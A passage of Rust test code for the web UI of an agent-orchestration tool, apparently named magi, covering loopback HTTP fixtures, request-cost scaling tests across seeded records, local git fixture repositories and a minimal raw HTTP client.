11768        assert!(!crate::deputy::can_start(None, ""));
11769    }
11770
11771    #[test]
11772    fn question_views_load_the_config_once() {
11773        let dir = TempDir::new().unwrap();
11774        let store = ask::Questions::at(dir.path().to_path_buf());
11775        let mut with_deputy = plain_question("b");
11776        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11777        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11778
11779        let calls = std::cell::Cell::new(0usize);
11780        let views = question_views(qs.clone(), &store, || {
11781            calls.set(calls.get() + 1);
11782            Some(stub_config())
11783        });
11784        assert_eq!(calls.get(), 1);
11785        assert_eq!(views.len(), 3);
11786        for (v, q) in views.iter().zip(&qs) {
11787            assert_eq!(
11788                v.deputies_enabled,
11789                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11790            );
11791        }
11792
11793        let views = question_views(qs, &store, || None);
11794        assert!(views.iter().all(|v| !v.deputies_enabled));
11795
11796        let calls = std::cell::Cell::new(0usize);
11797        let views = question_views(Vec::new(), &store, || {
11798            calls.set(calls.get() + 1);
11799            None
11800        });
11801        assert!(views.is_empty());
11802        assert_eq!(calls.get(), 0);
11803    }
11804
11805    use pretty_assertions::assert_eq;
11806    use serde_json::Value;
11807    use tempfile::TempDir;
11808    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11809
11810    use super::*;
11811
11812    // Embedded assets preserve checkout line endings. Source assertions use
11813    // logical lines, independent of the platform's checkout conversion.
11814    static APP_JS: std::sync::LazyLock<String> =
11815        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11816    static APP_CSS: std::sync::LazyLock<String> =
11817        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11818    use crate::config::Config;
11819    use crate::queue::Source;
11820
11821    /// How many 10ms steps a settle loop takes before it calls a stall a
11822    /// stall - thirty seconds.
11823    ///
11824    /// These loops wait on real `sh` subprocesses, and the machine that runs
11825    /// the gate runs several suites at once, so a two-second budget was not
11826    /// waiting for the reply, it was racing the scheduler: two of these
11827    /// tests failed under that load with the turn simply not landed yet.
11828    /// This is a hang guard, not a latency assertion - every loop breaks the
11829    /// moment its condition holds, so a generous cap costs an idle machine
11830    /// nothing and still fails a genuine hang instead of hanging the suite.
11831    const SETTLE_STEPS: usize = 3_000;
11832
11833    /// A home with a queue and a runs directory, and a router serving it on
11834    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11835    /// dependency, not ours - so the tests drive a real socket, which has the
11836    /// side benefit of asserting the status line and content types the phone
11837    /// actually receives.
11838    struct Fixture {
11839        home: TempDir,
11840        addr: SocketAddr,
11841    }
11842
11843    impl Fixture {
11844        async fn start() -> Self {
11845            Self::with_loop(launch_idle).await
11846        }
11847
11848        /// A fixture whose loop is `launch`.
11849        async fn with_loop(launch: Launch) -> Self {
11850            let home = TempDir::new().expect("temp home");
11851            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11852            Self { home, addr }
11853        }
11854
11855        /// A fixture whose `ui.repo` is a real directory rather than the
11856        /// usual placeholder - for the routes that read config off it
11857        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11858        async fn with_repo(repo: PathBuf) -> Self {
11859            let home = TempDir::new().expect("temp home");
11860            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11861            Self { home, addr }
11862        }
11863
11864        /// As [`Fixture::with_repo`], with the machine-config file the
11865        /// settings screen reads and writes.
11866        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11867            let home = TempDir::new().expect("temp home");
11868            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11869            Self { home, addr }
11870        }
11871
11872        async fn serve(
11873            home: &FsPath,
11874            repo: PathBuf,
11875            launch: Launch,
11876            machine: Option<PathBuf>,
11877        ) -> SocketAddr {
11878            let queue = Queue::at(home.join("queue"));
11879            let runs = home.join("runs");
11880            std::fs::create_dir_all(&runs).expect("runs dir");
11881            let worktrees = home.join("wt").join("magi");
11882            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11883            let ui = Ui::new(
11884                queue,
11885                Questions::at(home.join("questions")),
11886                Talks::at(home.join("talks")),
11887                runs,
11888                home.to_path_buf(),
11889                repo,
11890            )
11891            .with_worktrees_root(worktrees)
11892            .with_machine_config(machine)
11893            .with_launch(launch);
11894            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11895                .await
11896                .expect("bind loopback");
11897            let addr = listener.local_addr().expect("local addr");
11898            tokio::spawn(async move {
11899                let router = ui
11900                    .router()
11901                    .layer(axum::middleware::from_fn(request_cost::observe));
11902                let _ = axum::serve(listener, router).await;
11903            });
11904            addr
11905        }
11906
11907        fn queue(&self) -> Queue {
11908            Queue::at(self.home.path().join("queue"))
11909        }
11910
11911        fn questions(&self) -> Questions {
11912            Questions::at(self.home.path().join("questions"))
11913        }
11914
11915        fn talks(&self) -> Talks {
11916            Talks::at(self.home.path().join("talks"))
11917        }
11918
11919        fn runs(&self) -> PathBuf {
11920            self.home.path().join("runs")
11921        }
11922
11923        async fn get(&self, path: &str) -> Res {
11924            request(self.addr, "GET", path, None).await
11925        }
11926
11927        /// The status and headers without the body, which is how the front end
11928        /// preflights a panel: a sandboxed frame is opaque to the parent
11929        /// document, so the only way to tell "no panel" from "a panel that
11930        /// rendered blank" is to ask before mounting.
11931        async fn head(&self, path: &str) -> Res {
11932            request(self.addr, "HEAD", path, None).await
11933        }
11934
11935        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11936            request(self.addr, "POST", path, body).await
11937        }
11938
11939        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11940            request_with(self.addr, "GET", path, None, extra).await
11941        }
11942
11943        async fn delete(&self, path: &str) -> Res {
11944            request(self.addr, "DELETE", path, None).await
11945        }
11946
11947        async fn put(&self, path: &str, body: &str) -> Res {
11948            request(self.addr, "PUT", path, Some(body)).await
11949        }
11950
11951        /// `POST` a raw body with its own headers - see [`request_bytes`].
11952        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11953            request_bytes(self.addr, path, headers, body).await
11954        }
11955    }
11956
11957    /// Real tracking refs exercise the successful discovery path (including
11958    /// extraction), rather than counting cheap failures on a placeholder repo.
11959    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11960        let tmp = TempDir::new().unwrap();
11961        let mut repos = Vec::new();
11962        for name in ["one", "two"] {
11963            let repo = tmp.path().join(name);
11964            let origin = tmp.path().join(format!("{name}.git"));
11965            std::fs::create_dir_all(&repo).unwrap();
11966            crate::git::git(&repo, &["init", "-b", "main"])
11967                .await
11968                .unwrap();
11969            std::fs::write(
11970                repo.join("magi.toml"),
11971                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11972            )
11973            .unwrap();
11974            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11975            crate::git::git(
11976                &repo,
11977                &[
11978                    "-c",
11979                    "user.name=fixture",
11980                    "-c",
11981                    "user.email=fixture@example.invalid",
11982                    "commit",
11983                    "-m",
11984                    "fixture",
11985                ],
11986            )
11987            .await
11988            .unwrap();
11989            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11990                .await
11991                .unwrap();
11992            crate::git::git(
11993                &repo,
11994                &["remote", "add", "origin", origin.to_str().unwrap()],
11995            )
11996            .await
11997            .unwrap();
11998            crate::git::git(&repo, &["push", "origin", "main"])
11999                .await
12000                .unwrap();
12001            crate::git::git(
12002                &repo,
12003                &[
12004                    "symbolic-ref",
12005                    "refs/remotes/origin/HEAD",
12006                    "refs/remotes/origin/main",
12007                ],
12008            )
12009            .await
12010            .unwrap();
12011            let (cfg, _) = Config::discover(&repo, None).unwrap();
12012            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12013            repos.push(repo);
12014        }
12015        let repos: [PathBuf; 2] = repos.try_into().unwrap();
12016        (tmp, repos)
12017    }
12018
12019    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12020        let (tmp, repos) = performance_repositories().await;
12021        let machine = tmp.path().join("machine.toml");
12022        std::fs::write(&machine, "").unwrap();
12023        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12024        (tmp, repos, fx)
12025    }
12026
12027    fn seed_performance(
12028        fx: &Fixture,
12029        repos: &[PathBuf; 2],
12030        questions: usize,
12031        runs: usize,
12032        items: usize,
12033    ) {
12034        // Saving states directly never starts a run or changes MAGI_HOME.
12035        for i in fx.questions().list().len()..questions {
12036            let mut question = Question::new(
12037                "20261001-000000-0000".into(),
12038                "implement".into(),
12039                "impl-A".into(),
12040                format!("question {i}"),
12041                "context".into(),
12042                vec!["yes".into(), "no".into()],
12043            );
12044            question.id = format!("20261003-000000-{i:04x}");
12045            fx.questions().put(&mut question).unwrap();
12046        }
12047        for i in run_ids(&fx.runs()).len()..runs {
12048            write_run_repo(
12049                &fx.runs(),
12050                &format!("20261001-000000-{i:04x}"),
12051                RunStatus::Ready,
12052                repos[i % 2].to_str().unwrap(),
12053            );
12054        }
12055        for i in fx.talks().list().len()..items {
12056            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12057            let mut talk = fx.talks().get(&id).unwrap();
12058            talk.repo = repos[i % 2].clone();
12059            fx.talks().put(&mut talk).unwrap();
12060            let mut task = crate::queue::Task::new(
12061                format!("task {i}"),
12062                "instruction".into(),
12063                repos[i % 2].clone(),
12064                crate::queue::Source::Agent {
12065                    run: id,
12066                    node: crate::queue::CHAT_NODE.into(),
12067                },
12068            );
12069            task.id = format!("20261004-000000-{i:04x}");
12070            fx.queue().put(&mut task).unwrap();
12071            // Notices has a production retention cap; seed up to that cap.
12072            if i < crate::notices::CAP {
12073                Notices::at(fx.home.path().join("notifications"))
12074                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12075                    .unwrap();
12076            }
12077        }
12078        assert_eq!(fx.questions().list().len(), questions);
12079        assert_eq!(run_ids(&fx.runs()).len(), runs);
12080        assert_eq!(fx.talks().list().len(), items);
12081        assert_eq!(fx.queue().list().len(), items);
12082        assert_eq!(
12083            Notices::at(fx.home.path().join("notifications"))
12084                .list()
12085                .len(),
12086            items.min(crate::notices::CAP)
12087        );
12088    }
12089
12090    #[tokio::test]
12091    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12092        let home = TempDir::new().unwrap();
12093        let root = home.path().canonicalize().unwrap();
12094        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12095        let fx = Fixture { home, addr };
12096        let repo = root.as_path().join("archive-repo");
12097        std::fs::create_dir(&repo).unwrap();
12098        crate::git::git(&repo, &["init", "-b", "main"])
12099            .await
12100            .unwrap();
12101        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12102            .await
12103            .unwrap();
12104        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12105            .await
12106            .unwrap();
12107        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12108            .await
12109            .unwrap();
12110        std::fs::write(repo.join("source"), "base").unwrap();
12111        crate::git::git(&repo, &["add", "."]).await.unwrap();
12112        crate::git::git(&repo, &["commit", "-m", "base"])
12113            .await
12114            .unwrap();
12115        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12116        std::fs::write(repo.join("source"), "archived review").unwrap();
12117        crate::git::git(&repo, &["commit", "-am", "review"])
12118            .await
12119            .unwrap();
12120        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12121        let mut config = Config::default();
12122        config.graph.worktree_root = Some(root.as_path().join("copies"));
12123        let mut state = RunState::new(
12124            repo.clone(),
12125            "main".into(),
12126            base.clone(),
12127            "archive".into(),
12128            config,
12129        );
12130        state.id = "20260101-000000-ef05".into();
12131        state.status = RunStatus::Ready;
12132        state.save_under(root.as_path()).unwrap();
12133        let evidence =
12134            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12135                .await
12136                .unwrap();
12137        let base_evidence =
12138            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12139                .await
12140                .unwrap();
12141        let source = state.worktree_root().join("review-1");
12142        let mut contents = std::collections::BTreeMap::new();
12143        contents.insert(
12144            repo.join("logs/HEAD"),
12145            format!("{base} {head} fixture\n").into_bytes(),
12146        );
12147        let record = serde_json::json!({
12148            "version":1, "run":state.id, "source":source, "head":head,
12149            "evidence":evidence, "admin":{}, "admin_contents":contents,
12150            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12151        });
12152        std::fs::write(
12153            fx.runs()
12154                .join(&state.id)
12155                .join("artifacts/eviction-review-1.json"),
12156            serde_json::to_vec(&record).unwrap(),
12157        )
12158        .unwrap();
12159        std::fs::remove_dir_all(&repo).unwrap();
12160        let url = format!("/api/runs/{}/seat-evidence", state.id);
12161        let list = fx.get(&url).await;
12162        assert_eq!(list.status, 200, "{}", list.body);
12163        assert_eq!(list.json()[&head], "review-1");
12164        let patch = fx.get(&format!("{url}/{head}")).await;
12165        assert_eq!(patch.status, 200, "{}", patch.body);
12166        assert!(patch.body.contains("+archived review"));
12167        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12168        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12169        assert_eq!(fx.get(&url).await.status, 404);
12170        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12171    }
12172
12173    fn request_counts(res: &Res) -> (usize, usize) {
12174        assert_eq!(res.status, 200, "{}", res.body);
12175        (
12176            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12177            res.header("x-test-git").unwrap().parse().unwrap(),
12178        )
12179    }
12180
12181    #[tokio::test]
12182    async fn list_request_cost_is_independent_of_record_count() {
12183        let mut previous = None;
12184        for n in [4, 60] {
12185            // Health refreshes configuration on a detached thread. Run it
12186            // last and give each scale its own repository/cache so that
12187            // refresh cannot warm the next measured cold extraction.
12188            let (_tmp, repos, fx) = performance_fixture().await;
12189            seed_performance(&fx, &repos, n, n, n);
12190            let mut costs = Vec::new();
12191            for (path, discoveries) in [
12192                ("/api/questions", 1),
12193                ("/api/talks", 0),
12194                ("/api/stats", 1),
12195                ("/api/health", 0),
12196            ] {
12197                // Equal cold extraction caches at both scales; this also
12198                // bounds first-request cost instead of only warmed requests.
12199                for repo in &repos {
12200                    let cache = repo.join(".git/magi/config");
12201                    if cache.exists() {
12202                        std::fs::remove_dir_all(cache).unwrap();
12203                    }
12204                }
12205                let cost = request_counts(&fx.get(path).await);
12206                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12207                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12208                assert!(
12209                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12210                    "{path}: {cost:?}"
12211                );
12212                costs.push(cost);
12213            }
12214            if let Some(previous) = previous {
12215                assert_eq!(costs, previous);
12216            }
12217            previous = Some(costs);
12218        }
12219        // runs reads shared row inputs and probes process liveness; queue
12220        // builds one blocker inventory; notifications reads its own store.
12221        // None discovers configuration or spawns git per item.
12222    }
12223
12224    /// The same handler path without transport, so the deterministic cause
12225    /// can also be checked in environments that prohibit binding sockets.
12226    #[tokio::test]
12227    async fn list_handler_cost_without_transport() {
12228        let mut previous = None;
12229        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12230            // As in the transport test, isolate each scale from the previous
12231            // health request's detached configuration refresh.
12232            let (_tmp, repos) = performance_repositories().await;
12233            let fx = Fixture {
12234                home: TempDir::new().unwrap(),
12235                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12236            };
12237            let ui = Arc::new(
12238                Ui::new(
12239                    fx.queue(),
12240                    fx.questions(),
12241                    fx.talks(),
12242                    fx.runs(),
12243                    fx.home.path().to_path_buf(),
12244                    repos[0].clone(),
12245                )
12246                .with_worktrees_root(fx.home.path().join("wt")),
12247            );
12248            seed_performance(&fx, &repos, n, runs, items);
12249            let mut costs = Vec::new();
12250            for endpoint in ["questions", "talks", "stats", "health"] {
12251                for repo in &repos {
12252                    let cache = repo.join(".git/magi/config");
12253                    if cache.exists() {
12254                        std::fs::remove_dir_all(cache).unwrap();
12255                    }
12256                }
12257                let (_, cost) = request_cost::measure(async {
12258                    match endpoint {
12259                        "questions" => {
12260                            let _ = questions_list(State(ui.clone())).await.unwrap();
12261                        }
12262                        "talks" => {
12263                            let _ = talks_list(
12264                                State(ui.clone()),
12265                                Query(ListQuery {
12266                                    limit: None,
12267                                    ids: None,
12268                                }),
12269                                header::HeaderMap::new(),
12270                            )
12271                            .await
12272                            .unwrap();
12273                        }
12274                        "health" => {
12275                            let _ = health(State(ui.clone())).await.unwrap();
12276                        }
12277                        _ => {
12278                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12279                                .await
12280                                .unwrap();
12281                        }
12282                    }
12283                })
12284                .await;
12285                eprintln!("{endpoint} handler N={n}: {cost:?}");
12286                assert_eq!(
12287                    cost.0,
12288                    if matches!(endpoint, "talks" | "health") {
12289                        0
12290                    } else {
12291                        1
12292                    },
12293                    "{endpoint}"
12294                );
12295                assert!(
12296                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12297                    "{endpoint}: {cost:?}"
12298                );
12299                costs.push(cost);
12300            }
12301            if let Some(previous) = previous {
12302                assert_eq!(costs, previous);
12303            }
12304            previous = Some(costs);
12305        }
12306    }
12307
12308    #[tokio::test]
12309    async fn monitor_and_periodic_update_recheck_git_cost() {
12310        let (tmp, repos) = performance_repositories().await;
12311        let fx = Fixture {
12312            home: TempDir::new().unwrap(),
12313            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12314        };
12315        let ui = Arc::new(
12316            Ui::new(
12317                fx.queue(),
12318                fx.questions(),
12319                fx.talks(),
12320                fx.runs(),
12321                fx.home.path().to_path_buf(),
12322                repos[0].clone(),
12323            )
12324            .with_worktrees_root(fx.home.path().join("wt")),
12325        );
12326        let cache = repos[0].join(".git/magi/config");
12327        if cache.exists() {
12328            std::fs::remove_dir_all(&cache).unwrap();
12329        }
12330
12331        let (_, monitor_cost) = request_cost::measure(async {
12332            let mut snapshot = None;
12333            for _ in 0..20 {
12334                let state = Arc::clone(&ui);
12335                snapshot = Some(
12336                    tokio::task::spawn_blocking(request_cost::carry(move || {
12337                        monitor_scan(&state, snapshot)
12338                    }))
12339                    .await
12340                    .unwrap(),
12341                );
12342            }
12343        })
12344        .await;
12345        assert_eq!(monitor_cost, (0, 0));
12346
12347        // The idle update worker, unlike the revision monitor, reads config.
12348        let (_, cold_cost) = request_cost::measure(async {
12349            for _ in 0..20 {
12350                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12351            }
12352        })
12353        .await;
12354        assert_eq!(cold_cost, (20, 21));
12355
12356        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12357        // working tree, then fetch; the next scan must immediately observe the
12358        // new committed `magi.toml`.
12359        let origin = tmp.path().join("one.git");
12360        let pusher = tmp.path().join("pusher-one");
12361        crate::git::git(
12362            tmp.path(),
12363            &[
12364                "clone",
12365                "-b",
12366                "main",
12367                origin.to_str().unwrap(),
12368                pusher.to_str().unwrap(),
12369            ],
12370        )
12371        .await
12372        .unwrap();
12373        std::fs::write(
12374            pusher.join("magi.toml"),
12375            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12376        )
12377        .unwrap();
12378        crate::git::git(&pusher, &["add", "magi.toml"])
12379            .await
12380            .unwrap();
12381        crate::git::git(
12382            &pusher,
12383            &[
12384                "-c",
12385                "user.name=fixture",
12386                "-c",
12387                "user.email=fixture@example.invalid",
12388                "commit",
12389                "-m",
12390                "bump implementers",
12391            ],
12392        )
12393        .await
12394        .unwrap();
12395        crate::git::git(&pusher, &["push", "origin", "main"])
12396            .await
12397            .unwrap();
12398        crate::git::git(&repos[0], &["fetch", "origin"])
12399            .await
12400            .unwrap();
12401
12402        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12403        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12404        assert_eq!(moved_cost, (1, 2));
12405        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12406        assert_eq!(observed_again, observed);
12407        assert_eq!(warm_cost, (1, 1));
12408    }
12409
12410    #[tokio::test]
12411    async fn list_request_cost_scopes_do_not_mix() {
12412        let (_tmp, repos, fx) = performance_fixture().await;
12413        seed_performance(&fx, &repos, 10, 0, 10);
12414        let (questions, talks, notices) = tokio::join!(
12415            fx.get("/api/questions"),
12416            fx.get("/api/talks"),
12417            fx.get("/api/notifications")
12418        );
12419        assert_eq!(request_counts(&questions).0, 1);
12420        // Cached summaries perform no config discovery or git work, even
12421        // alongside the questions request that still discovers config.
12422        assert_eq!(request_counts(&talks), (0, 0));
12423        assert_eq!(request_counts(&notices), (0, 0));
12424    }
12425
12426    #[tokio::test]
12427    async fn list_endpoints_large_home_responses() {
12428        check_large_home_endpoints(false).await;
12429    }
12430
12431    #[tokio::test]
12432    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12433    async fn list_endpoints_large_home_ceiling() {
12434        check_large_home_endpoints(true).await;
12435    }
12436
12437    async fn check_large_home_endpoints(timed: bool) {
12438        let (_tmp, repos, fx) = performance_fixture().await;
12439        seed_performance(&fx, &repos, 200, 300, 400);
12440        let mut failures = Vec::new();
12441        // app.js boot/change loads plus the initial dashboard, settings and
12442        // repo picker. SSE is a persistent stream, not a bounded GET.
12443        for path in [
12444            "/",
12445            "/app.js",
12446            "/app.css",
12447            "/api/questions",
12448            "/api/runs?limit=300",
12449            "/api/queue",
12450            "/api/talks",
12451            "/api/notifications",
12452            "/api/health",
12453            "/api/stats",
12454            "/api/loop",
12455            "/api/settings",
12456            "/api/repos",
12457        ] {
12458            let start = std::time::Instant::now();
12459            let result = if timed {
12460                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12461            } else {
12462                Ok(fx.get(path).await)
12463            };
12464            let elapsed = start.elapsed();
12465            eprintln!("{path}: {elapsed:?}");
12466            match result {
12467                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12468                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12469                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12470            }
12471        }
12472        assert!(failures.is_empty(), "{}", failures.join("\n"));
12473    }
12474
12475    struct Res {
12476        status: u16,
12477        headers: String,
12478        /// The header block with its original casing, for the assertions that
12479        /// compare a header *value* rather than looking for a name. Lowercasing
12480        /// a CSP would hide a directive spelled with a capital letter, and the
12481        /// whole point of that test is that the string is exactly right.
12482        head: String,
12483        body: String,
12484        /// The body before any UTF-8 handling, for the routes that serve
12485        /// something other than text. A panel asset is a PNG as often as not,
12486        /// and `from_utf8_lossy` would silently replace half of it.
12487        bytes: Vec<u8>,
12488    }
12489
12490    impl Res {
12491        fn json(&self) -> Value {
12492            serde_json::from_str(&self.body)
12493                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12494        }
12495
12496        /// One header's value verbatim, or `None` when it was not sent.
12497        fn header(&self, name: &str) -> Option<&str> {
12498            self.head.lines().find_map(|line| {
12499                let (key, value) = line.split_once(':')?;
12500                key.trim()
12501                    .eq_ignore_ascii_case(name)
12502                    .then(|| value.trim_start().trim_end_matches('\r'))
12503            })
12504        }
12505    }
12506
12507    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12508    /// be read to end-of-stream without parsing framing.
12509    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12510        request_with(addr, method, path, body, &[]).await
12511    }
12512
12513    /// As [`request`], with extra request headers - conditional GETs need
12514    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12515    /// worse than one that sets none.
12516    async fn request_with(
12517        addr: SocketAddr,
12518        method: &str,
12519        path: &str,
12520        body: Option<&str>,
12521        extra: &[(&str, &str)],
12522    ) -> Res {
12523        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12524        for (name, value) in extra {
12525            head.push_str(&format!("{name}: {value}\r\n"));
12526        }
12527        if let Some(body) = body {
12528            head.push_str("Content-Type: application/json\r\n");
12529            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12530        }
12531        head.push_str("\r\n");
12532        if let Some(body) = body {
12533            head.push_str(body);
12534        }
12535        let mut socket = tokio::net::TcpStream::connect(addr)
12536            .await
12537            .expect("connect to the test server");
12538        socket
12539            .write_all(head.as_bytes())
12540            .await
12541            .expect("write request");
12542        let mut raw = Vec::new();
12543        socket.read_to_end(&mut raw).await.expect("read response");
12544        // Split on the raw bytes rather than on a lossy string, so a binary
12545        // body survives to be compared byte for byte.
12546        let split = raw
12547            .windows(4)
12548            .position(|w| w == b"\r\n\r\n")
12549            .expect("a header block");
12550        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12551        let bytes = raw[split + 4..].to_vec();
12552        let status = head
12553            .lines()
12554            .next()
12555            .and_then(|line| line.split_whitespace().nth(1))
12556            .and_then(|code| code.parse().ok())
12557            .expect("a status line");
12558        Res {
12559            status,
12560            headers: head.to_lowercase(),
12561            head,
12562            body: String::from_utf8_lossy(&bytes).into_owned(),
12563            bytes,
12564        }
12565    }
12566
12567    /// A `POST` carrying a raw binary body and its own headers, for the
12568    /// attachment upload route - `request_with` only ever sends
12569    /// `Content-Type: application/json`, which is wrong for an image and
12570    /// would corrupt anything not valid UTF-8 by round-tripping it through
12571    /// `&str` first.
12572    async fn request_bytes(
12573        addr: SocketAddr,
12574        path: &str,
12575        headers: &[(&str, &str)],
12576        body: &[u8],
12577    ) -> Res {
12578        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12579        for (name, value) in headers {
12580            head.push_str(&format!("{name}: {value}\r\n"));
12581        }
12582        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12583        let mut socket = tokio::net::TcpStream::connect(addr)
12584            .await
12585            .expect("connect to the test server");
12586        socket
12587            .write_all(head.as_bytes())
12588            .await
12589            .expect("write request head");
12590        socket.write_all(body).await.expect("write request body");
12591        let mut raw = Vec::new();
12592        socket.read_to_end(&mut raw).await.expect("read response");
12593        let split = raw
12594            .windows(4)
12595            .position(|w| w == b"\r\n\r\n")
12596            .expect("a header block");
12597        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12598        let bytes = raw[split + 4..].to_vec();
12599        let status = head
12600            .lines()
12601            .next()
12602            .and_then(|line| line.split_whitespace().nth(1))
12603            .and_then(|code| code.parse().ok())
12604            .expect("a status line");
12605        Res {
12606            status,
12607            headers: head.to_lowercase(),
12608            head,
12609            body: String::from_utf8_lossy(&bytes).into_owned(),
12610            bytes,
12611        }
12612    }
12613
12614    /// A run on disk, without touching the process-global magi home.
12615    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12616        let mut state = RunState::new(
12617            PathBuf::from("/repo/magi"),
12618            "main".to_owned(),
12619            "0123456789abcdef".to_owned(),
12620            "Add a web UI\n\nMobile first.".to_owned(),
12621            Config::default(),
12622        );
12623        state.id = id.to_owned();
12624        state.status = status;
12625        let dir = runs.join(id);
12626        std::fs::create_dir_all(&dir).expect("run dir");
12627        std::fs::write(
12628            dir.join("run.json"),
12629            serde_json::to_string_pretty(&state).expect("serialize run"),
12630        )
12631        .expect("write run.json");
12632    }
12633
12634    /// Same as [`write_run`], but against a named repository rather than the
12635    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12636    /// spread across more than one.
12637    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12638        let mut state = RunState::new(
12639            PathBuf::from(repo),
12640            "main".to_owned(),
12641            "0123456789abcdef".to_owned(),
12642            "task".to_owned(),
12643            Config::default(),
12644        );
12645        state.id = id.to_owned();
12646        state.status = status;
12647        let dir = runs.join(id);
12648        std::fs::create_dir_all(&dir).expect("run dir");
12649        std::fs::write(
12650            dir.join("run.json"),
12651            serde_json::to_string_pretty(&state).expect("serialize run"),
12652        )
12653        .expect("write run.json");
12654    }
12655
12656    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12657        let body = serde_json::json!({
12658            "schema": 1,
12659            "pid": 4242,
12660            "started_at": Timestamp::now().to_string(),
12661            "updated_at": updated_at.to_string(),
12662            "idle": false,
12663            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12664            "completed": 7,
12665            "polls": 143,
12666        });
12667        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12668    }
12669
12670    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12671    ///
12672    /// No test in this file may start the real loop - see [`Ui::launch`] for
12673    /// why - so this stands in for the only thing the routes need a loop to
12674    /// do: keep running until `Stop` is set, then return. A real
12675    /// `serve_until` here would resolve its queue and its status file through
12676    /// the process-global magi home, claim whatever it found in the
12677    /// operator's live backlog, overwrite the status file of the `magi serve`
12678    /// that owns it, and spend real agent quota on a real competition.
12679    fn launch_idle(
12680        _opts: daemon::Opts,
12681        stop: daemon::Stop,
12682    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12683        Box::pin(async move {
12684            while !stop.stopped() {
12685                tokio::time::sleep(Duration::from_millis(2)).await;
12686            }
12687            Ok(())
12688        })
12689    }
12690
12691    /// A loop that fails on the way up, the way one whose home has gone
12692    /// read-only does.
